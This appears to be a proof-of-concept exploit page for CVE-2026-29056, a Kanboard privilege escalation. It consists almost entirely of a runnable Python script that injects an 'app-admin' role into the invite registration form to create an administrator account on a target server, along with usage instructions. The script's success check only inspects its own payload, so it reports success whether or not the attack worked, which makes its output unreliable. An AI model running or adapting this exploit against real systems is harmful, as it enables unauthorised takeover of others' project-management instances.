CVE-2026-29056 Kanboard 邀请注册权限提升漏洞

import requests import sys # CVE-2026-29056 PoC - Kanboard Privilege Escalation via Role Injection # Target: Kanboard < 1.2.51 def exploit_kanboard(target_url, invite_token, attacker_email): """ Exploit privilege escalation in Kanboard user invite registration. Args: target_url: Base URL of the Kanboard instance invite_token: Valid invitation token from invite link attacker_email: Email address for the new admin account """ # Registration endpoint with invite token register_url = f"{target_url}/?controller=UserInviteController&action=register&token={invite_token}" # Malicious payload: inject admin role during registration # This exploits the lack of role parameter filtering in UserModel::create() payload = { 'name': 'Malicious Admin', 'email': attacker_email, 'password': 'P@ssw0rd123!', 'password_confirmation': 'P@ssw0rd123!', 'role': 'app-admin' # Privilege escalation: inject admin role } try: response = requests.post(register_url, data=payload, timeout=30) if response.status_code == 200: if 'admin' in payload['role']: print(f"[+] SUCCESS: Admin account created for {attacker_email}") print(f"[+] Login URL: {target_url}/?controller=AuthController&action=login") return True else: print(f"[-] Failed: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == '__main__': if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <invite_token> <email>") print(f"Example: python {sys.argv[0]} http://target.com abc123def456 [email protected]") sys.exit(1) exploit_kanboard(sys.argv[1], sys.argv[2], sys.argv[3])